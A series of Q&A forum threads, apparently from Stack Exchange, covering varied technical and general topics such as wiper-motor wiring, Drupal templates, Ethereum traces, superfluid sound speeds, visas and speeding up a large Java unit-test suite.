How to connect a windshield wiper motor to a DC power supply

Question: I bought a 12 volts wiper motor  and am trying to connect it to a 12 volts DC 4.2 amps power supply. There are 4 terminals on the motor. I'm confused regarding which terminals that I should connect the positive and negative ends of the power supply to. When I connect the positive and negative wires from the supply to the two leads on top side of motor terminal (circled in red in the first picture), the motor turns very slowly and I can observe the power supply LED flashing which indicates a voltage drop. Can anyone please help me with the connections ?
Comment: Datasheet link, (http://www.lucas-tvs.com/pdf/2sw60.pdf)
Comment: There's a wiring diagram in the datasheet. Unfortunately it's unreadable. But it looks like you may need a beefier supply ... or a car battery ... to supply the motor's starting current.
Comment: @BrianDrummond Thanks for the suggestion. I wanted to make sure I have wired it properly. Added a video https://youtu.be/rQwMDVhmZQo showing how slowly the motor turns and drop in power supply voltage.
Comment: From the looks of the horrible datasheet, there looks to be some other thing between the motor and the battery, did you get that too? And a 5A Fuse.
Comment: Long parallel discussion here.
Answer: It's funny that you bring this topic up because I just dealt with this whole scenario about a week ago when I was diagnosing my niece's windshield wiper motor.
Any modern car is going to have five connections on the motor. One is a ground. There are two wires for positive, one for low speed of the wiper motor and another for high speed. Then, there are two more wires that are used like a switch to determine when the windshield wiper is in "home" position.
But you only have four connections you say? Well, this tells me that the case itself is the ground and that the other four terminals correspond to the other four connections mentioned.
I would measure the resistance between each pin and the case (ground). There should be two pins that measure infinite resistance because they are not connected to ground in any way. These are the two wires that determine when the windshield wiper motor is at the home position.
The other two wires are the high speed and low speed wires. Take your pick and try one and see which one is faster.
Edit: After further looking, it seems that one of the pins IS the ground. This means it doesn't have two speeds or that the home position switch is only one wire.
Comment: And one thing you COULD read in the data sheet is that it has two speeds...
Comment: @BrianDrummond I managed to find out that the motor chassis is the ground. It looks like the two terminals circled in red (in the initial picture I posted) are for speed control. When I connect positive to the right circled (in the picture I posted initially) blue wired terminal, the motor rotates normally like at 45rpm. But when I connect positive to the left  circled (in the picture I posted initially) blue wired terminal, voltage drops and the behavior is exactly same as in this video, https://youtu.be/rQwMDVhmZQo
Comment: Update: I shorted the top two terminals (circled in red) and motor turns faster than before with only one speed wire connected. I dont quite understand why its turning faster after shorting both the speed (low, high) wires and dint turn normally for one speed wire and turned normally for another speed wire when these were connected individually. here is the video showing the increase in speed, https://www.youtube.com/watch?v=JaaZfPIh1x0
Answer: Here's the schematic of a two-speed wiper motor with parking switch, that is similar to Lucas TVS 2SW60.

The wire colours are required to be figured out.


Shadowrun 3rd edition ruthenium polymer

Question: What book and page describes ruthenium polymer? I have Shadowrun 3rd Edition books and I believe that is what it was called in 3rd edition. It's a camo suit that functions by displaying a live image of what is behind the wearer, effectively cloaking them.
Comment: Huh, my research group is working on some ruthenium compounds and some metal polymers, but sadly not a real-world ruthenium polymer I can point out.
Answer: Man & Machine, page 114.
Ruthenium polymer is also located in 1st edition Shadowtech, page 94, and 4th edition Arsenal, page 50.
It is listed in 2nd edition Fields of Fire, page 105, in a list that has been compiled (at least partially) from items in 1st edition Shadowtech, so I presume the item is intended to have remained identical. I have no way of guaranteeing this, however.

Shadowrun 3rd edition ruthenium polymer


What's "Relative Error" in a neural network model?

Question: I'm using SPSS for building a neural network model. In the model summary there is a measure called "Relative Error". What's the formula for it? Is it related to sum of squares error?
Answer: From the documentation:

The relative error for each scale-dependent variable is the ratio of
  the sum-of-squares error for the dependent variable to the
  sum-of-squares error for the "null" model, in which the mean value of
  the dependent variable is used as the predicted value for each case


how to create a page.tpl.php without $page['content']?

Question: The page.tpl.php of my website shouldn't contain <?php print render($page['content']); ?> because it is only set of blocks. The problem is I'm not able to insert comment form into node pages of a website which its page.tpl.php hasn't <?php print render($page['content']); ?> . what shall I do?
Answer: You have asked simple question & there is very simple answer for that --
Yes, you can create page.tpl.php without <?php print render($page['content']); ?>. You just have to remove this snippet from the TPL file & it will work.
But then you have explained your issue about comment.
So if you go through the structure of tpl files at theme, you will understand that <?php print render($page['content']); ?> is responsible to print node.tpl.php & that one contains <?php print render($content['comments']); ?>.
So without fetching the things of node.tpl.php you won't get comments. Anyway, how a comment can be associated to a page when there is no node.
Comment: Many people do that for front page. You just make a tpl named page--front.tpl.php & remove the snippet for content. Use other regions, which ever is required. Clear the cache & you are ready to go..
Comment: thanks for your useful reply. so what is your idea, what if I only want to have a set of blocks in the front page of website? this is my idea: prevent all the contents from being promoted to the front page. any other idea?


Link to open Code in a new window or copy to clipboard option

Question: When you hover over code on a question or answer, it would be nice to in addition to the syntax highlighting to maybe show a link in the top right corner or something you can click on that will open a small window with just that code in it so you can copy and paste the code very easily.  Or else a link/button to copy the contents to a clipboard, I believe this can be accomplished with Flash.  I have seen these features on most blogs and sites that have syntax highlighting.
Comment: this would be nice, especially since, at least from my experience, if you highlight and copy code it all gets put on one line.
Comment: +1: This would be really useful. It is troublesome trying to copy stuff when trying to troubleshoot/try code in a question. Anything that reduces the boring bits of answering a problem is great
Answer: They could add a colored line, like they do in SuperUser quotes, that could be clicked on to copy.
Answer: Sounds like the perfect application for greasemonkey...
Answer: Syntax highlighter does it but it has quite a big overhead when loading. The google alternative is a lot faster but has no new window feature.
SO already has syntax highlighting though so just a new window icon would be useful, and fairly easy to add.


Selecting a proper data warehouse and/or big data approach

Question: We have about 2 TB of data distributed across literally thousand of tables in PostgreSQL 9.4.9, and we think that we should be moving the historic data to a more report-oriented and efficient solution. Which is the proper solution is what troubles me, as I'd like it to be AWS based (perhaps RedShift, EMR or other) as our platform resides there, but even within that ecosystem, there are several approaches to be used. I'm aware that asking about the choice of a specific engine and/or solution is offtopic, but I'd certainly like a suggestion of what kind of tools to choose from, without necessarily implying the use of single one. As a team, we have no knowledge yet of the data warehouse architecture and, just a bit of the big data technologies, but we certainly have to study on those subjects.
Comment: Some of the more established MPP solutions in the cloud are [RedShift](https://aws.amazon.com/redshift/), [Snowflake](https://www.snowflake.net/), and [SQL Data Warehouse](https://azure.microsoft.com/en-us/services/sql-data-warehouse/).  Honestly, I don't think 2TB is large enough to justify a MPP approach, as you really need to design your solution properly to effectively take advantage of a MPP solution.  I suggest you optimize your Postgres solution or migrate to a different RDBMS if you find Postgres is no longer fitting your needs.
Answer: I think you should be thinking about what your end state is going to be.
I.e: "What is the requirement"?
The requirements should be driving the solution. Not the other way around.

What does the business want?
What reports do you need? What outputs?
Will your reporting solution benefit from aggregation? Would an OLAP cube be of benefit? Will you be transforming or denormalising the data?
Will your DW be fed from one system or many? If many: will it be application agnostic?
What display tools and technologies are expected? Any compatibility issues that might limit platform selection?
How long do your current reports take? And how fast do they need to be?. How fast is fast enough? What changed?
Can you produce the reports you need now with the data you have?
Are conventional reports still acceptable? Or does the business now need/want dynamic interactive tools? Reports? Dashboard? Exploration tools? Mobile?
How recent must the data be? Is yesterdays data processed overnight acceptable? Or do they need near real time?
Do they want analytical or operational data? What happened over the last 12 months or what happened this morning?

Once you have a clear requirement, it will allow you to shortlist viable solutions. Within your shortlist you can start to express preferences and pros and cons for the evaluation process.
Comment: Thanks @Peter for your answer, which seems pretty logical and, fortunately YES: I can answer all of the above questions. Actually, the search for such a system is based on the reporting that the business wants, which cannot be generated in time with the actual underlying db structure and data
Comment: As I'm familiar with RDBMS & OLAP technology thats what i would be leaning towards. Or at a minimum refactoring and/or aggregating data into a DW datamart so that you can get the performance you want. AFAIK big data is great for unstructured data but you already have yours in a relational db, so im not sure what you would gain.
Comment: So what is the target or goal that business has set? Is this just about performance? If you could make your existing reports run faster would that be acceptable? Does the business understand the difference between need and want?
Comment: Actually,  aggregation and a bit of ETL would be needed to get better results. But BETTER (from the business viewpoint) and FASTER getting reports in PostgreSQL in our current database setup and, enabling our customers create their own reports seems like not really achievable. Please see a brief use case scenario on this PasteBin: https://pastebin.com/raw/LF6hZV9b
Comment: An OLAP cube may not be the best fit for this as its spatial data and isnt naturally aggregatable. Although meta data about each vehicle and trip is. I think this possible with an rdbms and some ETL. If you transform the data to remove redundant rows and reduce volume it could be workable.


Get logs for a transaction without actually sending the transaction

Question: I'm trying to simulate a transaction without actually sending the transaction. The trace_call method (on Alchemy) returns 3 types of traces - vmTrace, trace, stateDiff. The trace object returns all the call, staticall and delegatecall in the entire transaction. It also provides calldata and return values for all these internal calls.  Example trace for the transaction 0x1dafb48e048b11ee1c6e1ce754eface63c632f9e8b79c159290964bbee9d110f on kovan.
{
  "action": {
    "callType": "call",
    "from": "0x6303e43320b036084a539d622a996e56c2110a16",
    "gas": "0x1af6",
    "input": "0xd0e30db0",
    "to": "0xd0a1e359811322d97991e03f863a0c30c2cf029c",
    "value": "0xb1a2bc2ec50000"
  },
  "result": {
    "gasUsed": "0x1af6",
    "output": "0x"
  },
  "subtraces": 0,
  "traceAddress": [],
  "type": "call"
}

But this doesn't return way logs. One way to do this, is to parse the vmTrace that provides the stack push and memory updates at each opcode's execution. It looks something like this.
{
  "cost": 3,
  "ex": {
    "mem": null,
    "push": [
      "0x40"
    ],
    "store": null,
    "used": 6896
  },
  "pc": 2,
  "sub": null
}

But since we don't know what opcode is being executed at a particular program counter, we'll need to rerun the transaction locally on an evm to keep track of when the log[0-4] opcodes are run and capture the stack value at that time. But running an evm just to parse out logs seem excessive. Is there an alternative for this? Geth's debug_transaction offers this but there isn't any API that provides access to it.
Is there any other way to get the logs for a transaction without actually sending the transaction?
Answer: This article by Banteg may be helpful: https://banteg.mirror.xyz/vZySVJ4Wvf4tKhgskbEIcHAlqG20wifUy807bzfEsp8
Otherwise, you will have to fork using ganache/anvil and send the transaction or simulate locally using some other method.


What is the forward price of a futures contract?

Question: We know how to calculate the theoretical forward price of a stock. But what is the theoretical forward price of a futures contract?
Comment: I think you might be confused.  Forwards and futures on an underlying are mostly equivalent (and will yield the yield the same if future is held to expiration). The primary differences between the two are that forwards are dealt OTC (futures are mostly done via exchange) and that futures are MTM daily while forwards are settled at maturity.
Answer:
But what is the theoretical forward price of a futures contract?

The forward price of the futures contract is equal to the current price of the futures contract. Exactly what the fair current price of the future might be, is another matter.


Why start and run capacitor is used and explain it operation?

Question: What for start and run capacitor used in induction motor why it is not replaced for compensated winding in the motor and why run capacitor is different from start capacitor
Comment: If you have done any research on the subject then explain what part of it you don't understand. If you haven't then please do some rather than ask someone to write an article for you when there are already many on the Internet.
Comment: I don't know the run capacitor part
Answer: A start capacitor, a run capacitor or both are used in single-phase motor designs to provide alternative performance characteristics. Textbooks provide diagrams of the different torque vs. speed characteristics. Various types of loads and duty cycles have different requirements. The objective of motor designs is to satisfy the load-driving requirements at the minimum manufacturing cost. Energy efficiency and motor noise and vibration must also be considered.
Single-phase motors can also be designed without capacitors, using only coil resistance and inductance to achieve the required phase difference between two coils. The shaded-pole motor is the most common design of that type. Other designs have been used, but shaded-pole and capacitor motors have proven to be the most competitive designs and other types are rarely used.
A complete explanation requires at least a half dozen pages and as many diagrams in a text book. There are sources on the internet that can provide an explanation in that depth. This site is designed for a single question and answer in each post. Detailed explanations of complex issues are not suited to this format.


Is polygamy mubah or recommended?

Question: Is polygamy mubah or recommended? What are the opinions of the 4 Sunni madhabs on this? Girls suffer a lot in polygamy. The first wife suffers a lot. What is the remedy for this in Islam?
Answer: It depends on the circumstances: polygamy can be obligatory, recommended, permitted, discouraged or forbidden. The factors which effect the ruling include whether a person fears falling into zina, how he judges his ability to administer justice, what he intends by the marriage (such as having children or following the sunnah) etc.
See e.g. Is it permitted to not get married? - the ruling on marriage itself varies depending on the circumstances of the person - and the same applies for multiple marriages.
If a person does not feel any need or desire for polygamy then some like the Shafi'is and Hanbalis have considered it recommended to remain monogamous as it lessens the risk of falling into haram i.e. injustice towards the wives. While others have adopted the position that it is recommended to practice polygamy in this case as it is following the sunnah.
Comment: who among the Shafi'is said that ? It seems odd in light of the Sunnah and also Ibn Abbas' statement: "Marry, for the best of this ummah had the greatest number of wives" and fhe various commands to
Comment: even if theres no need for polygamy, the man can do that. here, the first wife suffers alot. whats the ruling for this?

Is polygamy mubah or recommended?


How to remove spider veins from the white of an eye?

Question: I'm trying now to white an eye with Photoshop. I'm using brush tool in Saturation mode. The color is perfect. But the veins becomes gray and they are pretty visible. I tried to remove them with healing tool but I'm getting to much mess.
Answer: Personally, I generally use a very soft clone brush from right next to where the line is.  If you feather it in properly and mix where you are pulling from between the two sides of a vein, you can usually clean them away with out the alterations being noticeable.
Answer:
Clone tool: brush the neighbouring pixels onto the veins. for horizontal veins use pixels under them, for verticals you the pixels to the side. making sure you dont brush on the edge of the eyes.
You can create a separate layer, smooth it and mask it onto the veins.

Here [left] clone [right] mask smooth
smooth is a bit unnatural unless you do a bit of layer transparency.
Answer: Use replace Color or selective color and make sure you set your History settings to allow non-linear history.  Adjust to remove the red by lowering saturation and increasing luminance in the reds until your veins disappear.  Surely you have now whacked the rest of the image, but no worries, just place the history brush on the current history state and back up to the prior state and brush in the correction.
Answer: Another approach: after reading about wavelet decomposition (in my case, using Gimp and plugins) I just loved the technique to do that kind of job.
Here's the result of a 50 sec. work, without worrying too much.

Depending on what you would use that zoomed picture for, I'd just paint with some white over it.
Update:
In general I never liked retouched photos that I paid some studio to do it. They all looked too plastic, too much blur to hide imperfections. Until recently I learnt about Wavelet decomposition in this blog.
I got the Gimp for Windows plugins here. The OP asked about Photoshop, googling around you can find some tutorials on how to do it (but don't know if they break the image in more than 2 layers: I decompose mine in 7, in general).
Seems that the Portraiture plugin for Photoshop does the same result, but don't know if you have the same control over your edition.
And yes, the spider veins are still there after the edition, just not too evident. When they are completely removed, the picture seems unnatural to me.
Comment: @woliveirajr can you give us the plugin name? That sounds like an interesting method.
Comment: @LeFauve updated answer.
Comment: but they are still there?
Comment: @MichaelNielsen updated my answer. Yes, still there, because plain white eyes don't look natural (to me)


What's the difference between ...一..就../...了...就..?

Question: I can't understand the situation when it is better to use them. I don't understand their difference.
Comment: do you have any example sentences? 一⋯⋯就 ⋯⋯ can be used to mean something happens one after another, but it could be different in other contexts.  I can't think of a grammar with 了⋯⋯就⋯⋯, could these be two separate grammar points instead of related? If you have some example sentences, we can help you clearly understand the differences of use.
Comment: Perhaps, : 我一写完日记就上床睡觉/ 下课了我就去看电影
Answer: 我一写完日记就上床睡觉。 this sentence is the grammar I mentioned in my comment, using  一⋯⋯就⋯⋯ to show something is right after another.  In this case I would say an english translation could be: I go to bed right after I write in my journal.
下课了我就去看电影。The 了 is a separate grammar point here. 下课 is a verb to get out of class (cause its over) and 了 is serving its common purpose after a verb to show completion.  The 就 here means as soon as.  So you could translate the sentence: As soon as I am out of class I go to see the movie.
So the two formats you mentioned aren't directly related, and it may not be useful to compare them too closely.  If we were to compare them anyway, I would say the first sentence was worded to show "do action 1 then immediately action 2".  The second sentence was worded to show "at that time immediately do action 1".
link to a wiki page on the 一⋯⋯就⋯⋯ structure for you.  The same page should have links to a variety of other 就 uses as well:
https://resources.allsetlearning.com/chinese/grammar/Events_in_quick_succession_with_%22yi..._jiu...%22
Answer: imo most of the time they could be exchanged.
一x就y is similar to x了马上就y, x了就立即y, etc.
一x就y is more on the "immediate" part, emphasizing the speed, reflection, etc.
while x了就y is more on the order, implying that X should be finished in order to start Y. it's common to show one self's laziness by saying "a hard condition happen 了我就 do some hard work". (a hard condition happen 了他才会 do some hard work)
X and Y could be both virtual, or both happened. when it's about something already happened, it sounds like telling a story.
when talking about some plan, mostly we'll use 如果x就y and x了就y, unless it's a plan requiring quick reflection, like a game, a battle or arresting criminal, where 一x就y makes sense.


How two prove the second sound velocity is $1/\sqrt{3}$ times than the first sound

Question: From Landau two hydrodynamics model in superfluid, we have the result
$c_1^2=\frac{\partial P}{\partial \rho}|_T$ and $c_2^2=\frac{\rho_s s^2 T}{\rho_n c}$.
In the zero temperature limit, how to relate those two quantities, to get the conclusion that $c_1^2=3c_2^2$?
Answer: Let's consider gas of particles which move with constant velocity $V$. In such case we will derive  speed of sound. $c_s^2=\frac{\partial P}{\partial \rho}$ where $P$-is a pressure and $\rho$ is a density of gases. Set p is a momentum, then the momentum which gas give the wall from small time $\Delta t$  is $\Delta p=2 m V_x \frac{n}{2} V_x \Delta t S$ than $P=\frac{F}{s}=\frac{\Delta p}{\Delta t S}=m\rho V_x^2=\frac{\rho V^2}{3}$ and the speed of sound has following form $c_s^2=\frac{V^2}{3}$
The same picture is occur for second sound. There are two type of excitations in super fluid phonons and rotons.  In case of small temperature the main contribution is given by phonon because rotons contribution suppressed via energy gap $n_{rot}\sim e^{-\frac{\Delta}{T}}$. The phonons spectrum has the following form $E(p)=u p$, where u  is the speed of sound(constant).(It means that all particles moves with the same module of velocity $|u|$ ) In  your notation $u=c_1$
The second sound is a temperature waves in gas of particles wich move with the same velocity.
Using argument in the first paragraph is is easy to obtain that $c_2^2=\frac{c_1^2}{3}$
Comment: Yeah, it's a fantastic picture in this answer. But I wonder how can I relate the second sound with the parameter $V$ in this model. In other words, why I should use particles with velocity $c_2$ to calculate the pressure. And why the ratio seems $\frac{1}{3}$ in the superfluid but $3$ in this model.
Comment: I rewrite a little bit my answer


I just returned to Germany after J1. Is it too soon to apply for B1 in March to attend a conference?

Question: I just returned to Germany after a stay on a J1 visa. Is it too soon to apply for a B1 in March to attend a conference? I obtained an SSN with my J1. Will that have any influence on my next application?
Answer: If you don't have a return requirement based on your J-1 status, then you can certainly apply for a B1-B2 visa. Being approved US consular officials in your home country immediately after finishing the J-1 program has some risk, so you would want to include strong reasons for spending more time in the US, evidence of ties to your home country, how you intend to support yourself in the U.S. without working, and a return flight ticket (although that is not usually a requirement) to show that you are a legitimate visitor. Having a Social Security Number is not a factor (although Social Security Administration records of income while on a B1/B2 visa certainly would be).


My Macbook Pro can't install Windows7 On any MAC OS

Question: My MacBook Pro (15-inch, Late 2011), since start 3 days ago i keep trying to install Windows7 with original apps Boot Camp Assistant on  El Capitan, it start without any problem. Once the installtion after create partition and restart to start install Windows7 from booting my DVD Drive. I using original Windows7's DVD, but is just can't start load windows's file and start install. It just left and blank black screen and a underscore on the left on my screen. I keep trying and trying many ways to install dual boot on my Macbook Pro, i try many solution before like those using USB Bootable, third-party apps like VmWare Fusion, all i get is fail result. 2 Months ago i still can get boot into Windows7, after that i didn't turn on my machine for 1weeks, it just show me a underscore on my left screen.
Can any one help and tell me is that my hardware failure or my software problem. I really need Dual boot on this machine for some work.
Answer: Your Windows 7 DVD probably is defective. Either that, or the optical (DVD) drive is defective. I assume you are using your internal optical drive. If not then, then the external optical drive is defective or may not be compatible.
I assume you your firmware is up to date. Although, on a 2011 model, this should not be the cause of your problem.
Try this. Insert the DVD in the optical (DVD) drive. Restart the Mac and hold down the option key. A DVD icon should appear with the label "Windows". Select this icon and continue booting. If everything is OK, then the Windows installer should start. (If prompted, you may have to hit the space bar on the keyboard.) I assume the installer will not start, thus indicating either the DVD or the optical drive is at fault. If the installer starts, then exit and post a comment below.
Comment: First, i would like to thankyou David to share me your experience. I try using external DVD drive before, at boot option it did shown me a dvd disk boot, when i select and the result were same, a black screen and a underscore symbol on top left on my screen. I try the Windows7 DVD disk on another asus laptop, it work fine.
Comment: What happens when you use the internal optical (DVD) drive that came with your Macbook Pro? When you used the external optical (DVD) drive, are you sure the DVD icon you selected had the table "Windows" below it?
Comment: Both also shown me a DVD disk icon and name with Windows. But i select it , it dosen't load the windows files and start install. Only a black screen and a underscore on top left on my screen.


How do you speed up java unit tests?

Question: Currently our project has over 3000 unit tests, and "ant testAll" takes well over 20 minutes.
besides getting better hardware, are there ways to speed things up?
Comment: You should be more specific what is holding up those tests.
Comment: I joined this project only two months ago, and it's already got a large code base.

It's not a web app and except a bunch of xml configuration files it does not do File IO quite often either.

We're using our customized TestRunner. but the thing is we're only developing only plugins for the system, and as such we don't have the TestRunner's source code. I assume TestRunner's implementor was smart enough to have optimized the setup stuff, so, for example, it won't have to parse the xml configurations in every test run.
Comment: are you using mock objects to mock out slow-to-access objects from your unit tests?  At work we have 6000 unit tests and they take about a minute or maybe two to run.
Answer: The same way you'd speed up any other code. Find out which tests take the most time, and see how they can be optimized.
There are plenty of operations that can be slow, and if you do them 3000 times, it adds up. Sometimes, reusing data between tests is worthwhile (even if you're not supposed to do that in unit tests, it may be necessary if that's what it takes to get your tests to run at an acceptable speed).
Time your tests. Usually, 90% of them will execute almost instantly, and the last 10% will take almost all the time. Find those 10% and see what they're doing.
Run the code through a profiler, and note where the time is being spent. Guessing is a waste of time. What you think the test runner is doing is meaningless. Instead of guessing, find out what it is doing. Then you'll know how to speed it up.
Answer: Some ideas:

Use a mocking framework to avoid hitting databases (or making web service calls, etc).
If you're doing the same or similar set up for lots of individual tests, try doing it in a test fixture setup (i.e. something that gets done once per fixture rather than once per test).
I believe some test frameworks allow you to run tests in parallel
Comment: The two best mocking frameworks I've found are Mockito and JMockit. JMockit allows mocking of static and final methods, and Mockito is really comfortable for quickie mocks. Combining the two works GREAT.
Comment: You don't really want to test interaction in a unit test, maybe if it's an integration test like you said. You are replicating much of the inner logic of the object you mock. E.g. on the mock you need to .expect(mock.one()).expect(mock.two()).expect(mock.three()) which requires knowledge of the inner workings of that object. If that changes, you have to refactor all your tests. It's nice and easy at first but should be taken with a bit of salt when put into wider use. Stubbing could also be used instead.
Comment: Before blindly starting to mock everything that's mockable, please google the drawbacks of mocking. I've been working on enterprise java applications for ten years now and excessive mocking is not what you want.
Comment: @Marty Excessive mocking is bad. Is that because if we mock too much, we are missing out on testing actual real objects interaction(usually some from of integration tests)? Or is there a better reason? Thanks
Comment: I agree that special care should be taken if we are mocking parts of the subject under test.
Answer: You may want to split your unit tests into suites. Is your application modularized? How often do you really need to run all the tests? Would it be acceptable if your developers only ran the unit tests relevant to their own module, and you had the array of tests run nightly and/or on a CI?
Are there any particular unit tests which are very complex (I know, I'm slipping into functional and integration testing here, but the line is sometimes fuzzy), but can any of them be run on a sanity-level during development and then be run full out on the CI?
Edit: Just for kicks, I'll briefly describe the test routines at one of my previous projects
First of all, the growth of the test system was organic, meaning that it was not originally planned out but was modified and changed as it grew. Hence it wasn't perfect, and there were some naming conventions that had become apocryphal with time.

At a developer level we used a simple two minute test suite called CheckIn, which verified that the code was healthy enough to join the trunk.
On top of that we ran sanity tests continuously on a CI machine. These were simplified versions of the more complex integration and functional tests, all unit tests and all regression tests.
Complex test suites (in the number of hours) were run during day and night remotely and the results compiled the next morning.

Automatic testing - it's the mutt's nuts.
Comment: The "together" thing will come under some other test, say it integration test or something. Unit test is about unit, so the unit should be working independently. Doesn't mean we don't need to test all the things together, but that is not a unit test, IMO.
Comment: This is bad advice. You should be running as many tests as possible to ensure all components are working independently and together. You can never assume one aspect of a system is 'just working' because you're not developing against that area.
Comment: @atc: Then you've never been in a scenario where the entire test suite (integration testing and all) takes several hours.

Before committing, all that is required of a developer is to ensure sanity, i.e. basic functionality. This testing shouldn't take more than a couple of minutes, or you'll have idle developers. Making sure that everything works can be done at night.
Comment: @Mike Kushner: we're in the exact situation you described. the worst scenario is while you're waiting almost 20 minutes to wait for the unit tests to finish, someone pushes another changeset to the repo, then you'll need to pull changes and rerun the tests.
Answer: Are you using fork="yes" in your junit call? If so, make sure you set forkMode="once", otherwise the junit task will start a new VM for each TestCase class. With 3000 unit tests, that will make a dramatic difference.
http://ant.apache.org/manual/Tasks/junit.html
Comment: I have looked at this.
the thing is we're not using ant's junit TestRunner, but a customized one in a jar.
I don't know how it's implemented, as the source code is not available to us:(.
Comment: Be aware that Eclipse with a decompiler like jadclipse can help you peek into such a jar.  Put it on the build path, and have a look.
Comment: looking at the build.xml file, TestRunner won't start a jvm for each testcase.
thanks for recommending jadclipse, i'm sure it'll come handy in the future.
Answer: To Start with :
a) Get the stats about running time of your Junit Tests.You may already be caputring that informaion in your test reports.
b) Take out top 10 test classes (in time taken) and try to reduce the time .This you need to do on ongoing basis.
c) Try to reduce the running time by refactoring or even changing the approach of testing.
   One such case i came across is in one Test class for CRUD test cases.Update test case was first creating the funtionlaity and then updateing .But we were already tested create in seprate test case.So in these cases you can chain your test cases like
@Test()
    public void testCreate() throws Exception
    {}
    @Test(dependsOnMethods = "testCreate")
    public void testAmend() throws Exception
    {}
    @Test(dependsOnMethods = "testAmend")
    public void testDelete() throws Exception
    {}

So you save on doing dupicate testing.
d)One more instance where i was able to reduce time significalntly was.
We had a system (inherietd )where each test case was calling SetUp(Strating Spring Server etc) and after running shut down system resources.This was very time consuming ,so i refactored it to start coomon resources before test suit and after entire suite is done then close those.
e) Depending on your project their can be other bottlenecks you may need to iron out.
How to manage Build time in TDD
Answer: I'm assuming you've gone through all the other usual steps such as mocking database calls, optimising test setup phases etc. and what's taking the test run so long is that you have 3000 tests not that individual tests are very slow.
If so, one approach is to multi-thread your test run. Test-NG supports this very well. Converting your tests from junit to test-ng isn't so hard and needs only to be done once.
Tests that have to be run sequentially can be easily marked:
@Test(sequential = true)
public class ATest {
  ...

On a multi-core machine you'll see huge improvements in run-time. Even on a single core you'll see a good improvement as some threads wait for io operations.
See here for details on how to set this up:
http://beust.com/weblog/archives/000407.html
Hope this helps.
....
Some more suggestions - I can't believe you aren't using Continuous integration. Trust me 30 developers is not going to overload your CI server. Even if you can't get buy in for CI, install hudson on your own machine - it will take 10 minutes to setup and the benefits are huge. Ask your manager which is worse every developer sitting waiting for unit tests to complete or having a server do it for you. Having a stupid hat to wear for the person who broke the build is usually enough to convince developers to run their unit tests.
If the quality of checkins are really a massive concern (don't forget a check-in can always be rolled back) consider Teamcity - it runs the tests and doesn't commit the code if tests fails.
Finally, an option that may suit your use case also is clover and bamboo. The latest version keeps a record of what code is tested by what tests and when a change is made it only runs the relevant tests. This is potentially very powerful.
But remember clever tools like test-ng, teamcity and clover will only get you so far - good tests won't write themselves!
To summarise my solution is try all or some of following steps:

Optimise the tests - mocks, common setup etc.
Run the tests in Parallel
Get something else to run the tests for you - make it an offline task using hudson or similar
Run only the tests that need to be run - sort them into packages or use clover and bamboo.
Answer: Without further knowledge of what is being tested, the only two approaches that readily present themselves are:

use better hardware (sorry)
simplify the test logic

You may want to even run a profiler over the test run and see if there are any particularly inefficiently implemented tests.
Answer: Obviously there's something in your test that takes a long time.
Sometimes, you can't get around slow test. For instance, testing that Spring can read all its configuration files, testing that the hibernate mapping works, that sort of stuff. The good thing about those test is that they only need to run in a single test and then you can mock it all out, but you can also decide to run these as part of the integration test and let the build server worry about it.
The rest of the tests are slow either because they are doing IO or because they are overly CPU bound.
IO can be many things. Web service and database calls can be abstracted out and mocked, and the few real calls you have to do can be moved to the integration phase if need be. Logging can really slow down things as well - especially with 3.000 test cases. I'd say just turn off logging entirely and rely on your brain and your debugger when a test fails.
There may be cases where the IO itself is the unit being tested. For instance, if you are testing the part of a database server that writes table data to disk. In that case, try to keep as much IO in memory as possible. In Java, many of the IO abstractions have in-memory implementations.
CPU bounds tests comes in different flavors as well. Pure performance and throughput test should be in the integration test phase. If you are spinning up a bunch of threads to try an vet out a concurrency bug, then you might move the big test to the integration phase and keep a 'light' version in your regular test suite.
And lastly, the profiler is your friend. It may well be that parts of your code can be made more efficient and give a noticeably speed your tests up.
Comment: it's not a web app. so i'm fairly confident it's not IO-bound.
if it's really a few test cases that take insanely long. i guess the problem is easier to fix.

thank you, i'll try jprofiler.
Answer: Well, I dont know what your Unit-test are doing, but you need to ask yourself why it is taking 20 minutes.
From my experience there are often a lot of tests that run within a few milliseconds and few tests that make up the rest of the required time. Most often these are tests involving IO/network/DB-Stuff.
For example if you spend a lot of time waiting due to network-latency, you might consider running your tests in parallel.
You could hunt down those tests and look for improvements. But making your tests faster doesn't make your actual code better.
You might want to look out for tests that require a lot of time because the class under test isn't optimal. Pinpointing and improving situations like these will most likely make your product better/faster as well.
Answer: I would suggest having two builds (Incremental which is run on every check in, and a Full build which is run over night)
The incremental runs shorter tests in about 7 minutes whereas the full build runs all tests for longer in less than 40 minutes.
Clearcase does encourage a branching nightmare, but you should be able to have two builds per developer. I would question the value in having every develop on their own branch as I believe there is some benefit in having developers work together (in pairs or more) on the same branch.
Note: One continuous integration server can have any number of agents and if you cannot afford more than one server, you can use PCs as builds agents. (You must have at least 30 of those)
Comment: you're right. not every dev works on their own branch.
only developers fixing bugs work on their branches.
feature developers work on the same branch.
Answer: I would address this as you would any other performance issue:

Don't make assumptions about what the problem is
Analyze the test execution with a profiler to determine hotspots
Analyze the hot spots one at a time, retesting after each code change.

You may find that you have to dig into that test runner eventually.  You can use a decompilation tool like cavaj to generate source code from the class file (although it will be harder to read than the original code, obviously).  You may find that something in the test runner implementation is affecting performance.  For example, you have already mentioned reading XML configuration files as an activity that the test runner performs -- this is something that could potentially afffect performance.
Another area where you could eventually find performance issues is in custom 'base' test case classes.  These tend to be things that add a lot of convenience, but it can be tough to remember that your convenience-adding behaviors are potentially going to be amortized over 10k tests in a large project, whether each test needs the convenience behavior or not.
Answer: Here is the approach that I would take.

Review your test cases, look for any redundant tests. With 3000 tests, chances are you are double and quintuple covering parts that don't need to be.
Pick out your "canaries". These are the tests that you want to always run, the ones that will smell out the danger in other parts. They are more than likely the higher level test cases that test the public API interfaces that are used between components. If one of those fails you can then go in and run the full test suite for the component.
Start migrating to a framework like TestNG and start classifying your test cases, then run only the classifcation of what you are working on with nightly full tests.
Answer: I agree with Pablojim. Parallelize your tests. We are using clearcase and transfering everything from viewservers really slow things down. When we parallelized on a duelcore we got a 6-8 times faster shorter test run.
We are using the CPPUnit framework and we just added a python scripts to kickstart different test suites on different threads.
We have also used clearmake to parallelize the build process. Our next step will probably be to parallelize the tests on the clients of the developers.
Comment: we're also using clearcase, does clearcase have any support for building java projects?
Comment: I have no experience with building Java apps with clearmake but a quick google gave: http://publib.boulder.ibm.com/infocenter/cchelp/v7r0m0/index.jsp?topic=/com.ibm.rational.clearcase.books.cc_build_unix.doc/using_clearcase_build_tools_with_java.htm
Answer: Move the full test suite in a COntinuous INtegration engine system, so the developers do not have to run them all everytime.  Such systems have a LOT more patience than developers.
